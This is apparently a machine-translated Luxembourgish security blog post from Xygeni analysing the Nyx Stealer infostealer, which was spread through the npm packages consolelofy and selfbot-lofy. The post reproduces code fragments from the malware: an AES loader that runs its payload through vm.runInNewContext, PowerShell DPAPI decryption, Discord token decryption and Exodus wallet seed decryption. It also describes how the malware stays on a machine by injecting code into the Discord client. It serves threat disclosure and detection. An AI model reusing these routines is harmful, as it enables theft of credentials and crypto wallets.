npm Infostealer

Nei npm Infostealer Entdeckung: Nyx ​​Stealer kapéiert Discord Sessiounen

TL; DR

D'Xygeni Sécherheetsfuerschungsteam eng sophistikéiert npm Infostealer Kampagne identifizéiert, déi iwwer zwee béiswëlleg Pakete geliwwert gouf: Konsolofy an selfbot-lofy.

Déi lescht Versioun (consolelofy@1.3.0) integréiert eng 216KB AES-verschlësselte Notzlaascht, déi sech zur Lafzäit entschlësselt an iwwer ausféiert gëtt. vm.runInNewContext()Well déi béiswëlleg Logik voll verschlësselt ass, kënnen statesch Scanner, déi op String-Inspektioun vertrauen, hiert Verhalen net bis zur Ausféierung observéieren.

Soubal entschlësselt, gëtt d'Notzlaascht, intern markéiert Nyx Stealer, Ziler:

  • Discord Authentifikatiounstoken
  • Iwwer 50 Browser-Umeldungsdaten-Geschäfter
  • Iwwer 90 Krypto-Portemonnaie-Extensiounen
  • Roblox, Instagram, Spotify, Steam, Telegram an TikTok Sessiounen
  • Persistenz vum Discord Desktop Client

All 20 Versiounen an deenen zwou Pakete goufen als béiswëlleg gemellt a bestätegt.

Techneschen Iwwerbléck iwwer dësen npm Infostealer

Am Géigesaz zu traditioneller Malware beim Installatiounsprozess baséiert dës Kampagne op engem Course Entschlësselungsmodell.

Do sinn:

  • Keng béiswëlleg preinstall or postinstall hooks
  • Keng offensichtlech Netzwierkuriff zur Installatiounszäit
  • Keng Logik fir d'Ernte vu Klartext-Umeldungsinformatiounen

D'Payload gëtt aktivéiert wann de Modul importéiert gëtt. De ganze béiswëllege Kierper ass verschlësselt a materialiséiert sech eréischt beim Lafzäit am Speicher.

Dësen Design vermeit speziell d'Detektioun während der Pakinstallatioun.

Wéi dësen npm Infostealer tatsächlech ausgefouert gëtt

Ier mer analyséieren, wat den Nyx Stealer klaut, musse mer verstoen wéi et ausféiert.

Déi béiswëlleg Logik an dësem npm Infostealer follegt engem konsequenten Muster:

E klenge Loader entschlësselt eng grouss verschlësselte Payload a féiert se dynamesch an engem Node.js VM Kontext aus.

Dësen Design ass bewosst. Den Ugräifer verstoppt d'Funktionalitéit net nëmmen hannert Verschleierung, si sinn de béiswëllege Code komplett aus der statescher Visibilitéit ewechhuelen.

Ausféierungsmodell op héijem Niveau

Op engem héijen Niveau mécht de Wrapper véier Saachen:

  • Leet en AES-Schlëssel vun engem fest kodéierte Passwuert mat SHA-256 of
  • Entschlësselt e groussen hex-kodéierten Chiphertext mat AES-256-CBC
  • Féiert den entschlësselten JavaScript aus mat vm.runInNewContext()
  • Bitt eng Sandbox, déi ëmmer nach mächteg Runtime-Primitive weist

Resumé vun der Kärtechnik

Komponent Konfiguratioun / Wäert
Algorithmus AES-CBC-256
Schlëssel Derivatioun SHA-256 (Passwuert)
Initialiséierungsvektor (IV) 16 Bytes vun 0x00
Ausféierung vm.runInNewContext(entschlësselt, Sandbox)

Entscheedend ass, datt d'Sandkëscht duerch folgend geet:

  • require
  • process
  • Buffer
  • Timer
  • Modulexporten

Dëst bedeit datt déi entschlësselte Notzlaascht déi voll Fäegkeet behält fir:

  • Spawnprozesser
  • Dateien liesen a schreiwen
  • Netzwierkuriff maachen
  • Lokal Applikatiounen änneren

Dëst ass keng limitéiert VM. Et ass eng VM, déi als Ausféierungstrampolin benotzt gëtt.

Runtime-Verschlësselungsmuster (Kärausféierungsmechanismus)

De Ladegerät ass kleng.
De béiswëllege Kierper ass et net.

Hei drënner ass den Ausféierungsmuster, deen am Pak fonnt gëtt:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Firwat Dëst Matters

Déi entschlësselt Notzlaascht:

  • Huet net existéieren am Klartext am npm-Package
  • Ass onsichtbar fir einfach grep oder statesch Stringscanning
  • Materialiséiert sech nëmmen am Speicher beim Lafzäit
  • Ausféiert mat vollen Node Runtime-Fäegkeeten

Dës Kombinatioun vun AES + VM-Ausféierung ass e staarke Verhalensindikator fir en ... npm Infostealer probéiert statesch Inspektioun ze vermeiden.

An anere Wierder:

Wann Dir de Quellbam vum Pak scannt, gesitt Dir kee Stealer.
Dir gesitt en Dekrypter.

Wat geschitt no der Entschlësselung

Soubal en ausgefouert ass, start den Nyx Stealer parallel Datensammlungswellen.

Welle 1: Extraktioun vu Browser-Umeldungsinformatiounen

D'Malware:

  • Luet eng Python Runtime vum NuGet CDN erof
  • Installéiert kryptographesch Bibliothéiken
  • Extrahéiert Chromium-baséiert Umeldungsdatenspeicher
  • Entschlësselt DPAPI-geschützte Geheimnisser

Amplaz nativ Bindungen ze kompiléieren, notzt et PowerShell fir Windows DPAPI direkt opzeruffen.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Dës Approche:

  • Vermeit Kompilatiounsartefakten
  • Benotzt nativ Windows Krypto APIs
  • Integréiert sech an administrativ Tools

Et ass d'Entschlësselung vun Umeldungsinformatiounen op OS-Niveau, net d'Scraping.

Well 2: Discord Token Entschlësselung

De Stealer ass protokollbewosst. Hie versteet den verschlësselten Tokenformat vun Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Operatioun Flux:

  • Master Schlëssel aus Discord extrahéieren Local State
  • Dekryptéiere vum Master-Schlëssel iwwer DPAPI
  • AES-GCM Token Blobs entschlësselen
  • Validéiert Tokens géint Discord API
  • Beräichert mat Nitro, Badges, Rechnungsinformatiounen

Dëst ass kee generescht Credential Dumping. Et ass protokollbewosst Sessiouns-Hijacking.

Welle 3: Targeting vu Krypto-Währungs-Portemonnaien

Den npm Infostealer zielt op:

  • Iwwer 90 Browser-Portemonnaie-Extensiounen
  • 27 Desktop-Portemonnaien
  • Kale Portemonnaie Weeër
  • Exodus Seed Dateien

Beispill vun enger Seed-Entschlësselungsversuch:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Wann et erfollegräich ass, ass de Portemonnaie-Kompromittéierung direkt an irreversibel.

Dëst stellt de wäertvollste Monetariséierungsvektor vun der Kampagne duer.

Persistenz iwwer Discord Desktop Injektioun

Nodeems d'Umeldungsinformatioune gesammelt goufen, probéiert den Nyx Stealer d'Persistenz ze garantéieren andeems en déi lokal ... ännert. Schwaarz Client.

Zil:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Operationell Sequenz

Den Infostealer mécht déi folgend Schrëtt:

  • Beendet lafend Discord Prozesser
  • Lokaliséiert installéiert Discord Varianten (Stable, Canary, PTB)
  • Iwwerschreift discord_desktop_core/index.js
  • Injizéiert vun Ugräifer kontrolléiert Webhook-Logik
  • Start Discord nei

Dëst garantéiert, datt zukünfteg Discord-Sessiounen automatesch nei Authentifikatiounstoken lecken.

Wichteg ass, datt dës Persistenz net op geplangten Aufgaben oder Registrierungsmodifikatioune baséiert. Si notzt Codemodifikatiounen op Applikatiounsniveau, eng méi geheim Approche.

Och wann de béiswëllege npm-Pak spéider ewechgeholl gëtt, bleift den Discord-Client kompromittéiert.

Technesche Verglach: Legitim Selfbot vs npm Infostealer

Komponent Legitim Bibliothéik Nyx npm Infostealer
Ausnahme näischt Voll AES-verschlësselte Notzlaascht
Lafzäit-VM Net erfuerderlech vm.runInNewContext Ausféierung
Zougang zu den Umeldungsdaten Nëmmen Discord API Browser, Portemonnaien, DPAPI
Extern Downloads Nee Python-Runtime iwwer NuGet
Persistenz Nee Discord Client Injektioun
Monetization Bot-Automatiséierung Weiderverkaaf vun Umeldungsinformatiounen

D'Verschlësselungsschicht eleng trennt dës Kampagne scho vun enger typescher Open-Source-Gabel.

E legitime Discord Selfbot huet kee Grond seng ganz Codebasis ze verschlësselen, PowerShell ze starten fir Zougang zu DPAPI ze kréien, extern Runtimes erofzelueden oder intern Desktop-Applikatiounen ze modifizéieren. Wann dës Fäegkeeten an enger Ofhängegkeet erschéngen, déi behaapt, Discord-Interaktiounen ze automatiséieren, gëtt den architektoneschen Dismatch onméiglech ze ignoréieren.

Aus enger Enquête-Siicht hannerléisst dësen npm-Infostealer Spueren iwwer verschidde Schichten. Déi zouverlässegst Indikatoren sinn awer keng fest kodéiert URLen oder spezifesch Dateipfaden, well dës tëscht Versioune kënne variéieren. Amplaz sinn déi dauerhaft Signaler strukturell.

Op Pakniveau ass déi stäerkst Warnung d'Kombinatioun vun enger grousser verschlësselter Notzlaascht an engem Runtime-Entschlësselungs-Wrapper, deen direkt iwwer ... ausféiert gëtt. vm.runInNewContext()Obwuel Verschlësselung eleng net inherent béiswëlleg ass, ass d'Benotzung vun AES-Entschlësselung gefollegt vun enger dynamescher VM-Ausféierung an engem Discord-Utility-Paket héich ongewéinlech.

Op Hostniveau enthalen verdächteg Muster onerwaart DPAPI-Entschlësselungsaktivitéit, Prozesser déi aus engem Node.js-Ofhängegkeetskontext kommen, a Modifikatioune vu lokalen Applikatiounsdateien, déi ni vun Drëttubidderbibliothéike geännert solle ginn. Och op der Netzwierkschicht stellt eng erausgehend Kommunikatioun am Stil vum Webhook, déi vun enger Entwécklungsofhängegkeet initiéiert gëtt, eng aner bedeitend Anomalie duer.

An anere Wierder, d'Detektiounsfläch ass keen eenzegen Indikator fir eng Bedrohung. Et ass d'Korrelatioun vun der Verschlësselung, der Runtime-Ausféierung, dem Zougang zu den Umeldungsinformatiounen an dem Persistenzverhalen, déi d'Bedrohung opdeckt.

Detektioun a Mitigatioun mat Xygeni

npm Infostealer

Dësen npm Infostealer gouf identifizéiert vun Xygeni seng Malware Early Warning (MEW) duerch geschichtete Verhalenskorrelatioun amplaz vun einfacher Signaturmatching.

Amplaz no bekannte béiswëllege Strings ze sichen, evaluéiert MEW strukturell Anomalien am ganze Quellbam. An dësem Fall ass d'Detektioun aus der Konvergenz vu verschiddene Signaler entstanen: eng agebaute AES-Entschlësselungsroutine am Modul-Entréepunkt, direkt Ausféierung an engem VM-Kontext, an eng kloer Fäegkeet-zu-Intentioun-Diskrepanz.

Wichteg ass, datt kee vun dëse Signaler eleng béiswëlleg Absicht beweisen. Wéi och ëmmer, wann se zesumme analyséiert ginn, weisen se e Versuch op, d'Verhale vun der Lafzäit ze verstoppen. Dësen iwwerlagerten Usaz reduzéiert däitlech falsch Positiver a gläichzäiteg identifizéiert se héich zouverlässeg Gefore vun der Versuergungskette.

Ausserdeem illustréiert dëse Fall, firwat d'Inspektioun zur Installatioun eleng net ausreicht. Déi béiswëlleg Logik ass net a Liewenszyklus-Skripter ze fannen. Si aktivéiert sech eréischt nodeems de Modul gelueden ass a gëtt eréischt sichtbar, nodeems en am Speicher entschlësselt ass. Dofir erfuerdert eng effektiv Verteidegung eng verschlësselungsbewosst Analyse, d'Erkennung vu Verhalensmuster an eng kontinuéierlech Iwwerwaachung vun Ofhängegkeeten, déi iwwer d'Installatiounsereignisser erausgoen.

En Entfernung vum Registry ass reaktiv. Runtime-aware Analyse ass präventiv.

Firwat dësen npm Infostealer wichteg ass

Nyx Stealer stellt eng strukturell Evolutioun vun npm-baséierter Malware duer.

Historesch gesinn hunn sech vill béiswëlleg Paketen op siichtbar Skripter zur Installatiounszäit oder offensichtlech Endpunkte fir d'Exfiltratioun vun Umeldungsinformatiounen ugewisen. Am Géigesaz dozou verschlësselt dës Kampagne hir Payload, verréckelt d'Ausféierung op d'Lafzäit, notzt legitim Betribssystem-APIen a setzt Persistenz an vertrauenswürdege Applikatiounen op.

Dofir brauch den Ugräifer d'NPM-Infrastruktur selwer net auszenotzen. Amplaz ass den Ugrëff erfollegräich, well d'Installatioun vun Ofhängegkeeten Vertrauen implizéiert. D'Entwéckler huelen un, datt den Import vun enger Bibliothéik eng sécher Operatioun ass, besonnesch wann se sech als eng plausibel Fork vun engem populäre Tool presentéiert.

Well d'Ökosystemer weider wuessen a Forken sech verbreeden, gëtt dës implizit Vertrauensgrenz zu enger ëmmer méi attraktiver Attackfläch. Dofir muss een sech géint modern NPM-Infostealer verdeedegen, fir architektonesch Mustere ze erkennen, anstatt no statesche Strings ze sichen.

Schlussendlech bestätegt dës Kampagne eng wichteg Lektioun an software supply chain securityDéi geféierlechst Bedrohungen sinn net déi, déi op den éischte Bléck béiswëlleg ausgesinn, mä déi, déi strukturell legitim ausgesinn, bis d'Lafzäit hiert richtegt Verhalen opgedeckt huet.

sca-tools-software-zesummesetzungsanalyse-tools
Prioritäriséiert, behënnert a séchert Är Softwarerisiken
Kritt Äre gratis Kont.
Kee Kreditkaart erfuerderlech.

Séchert Är Softwareentwécklung a Liwwerung

mat der Xygeni Produkt Suite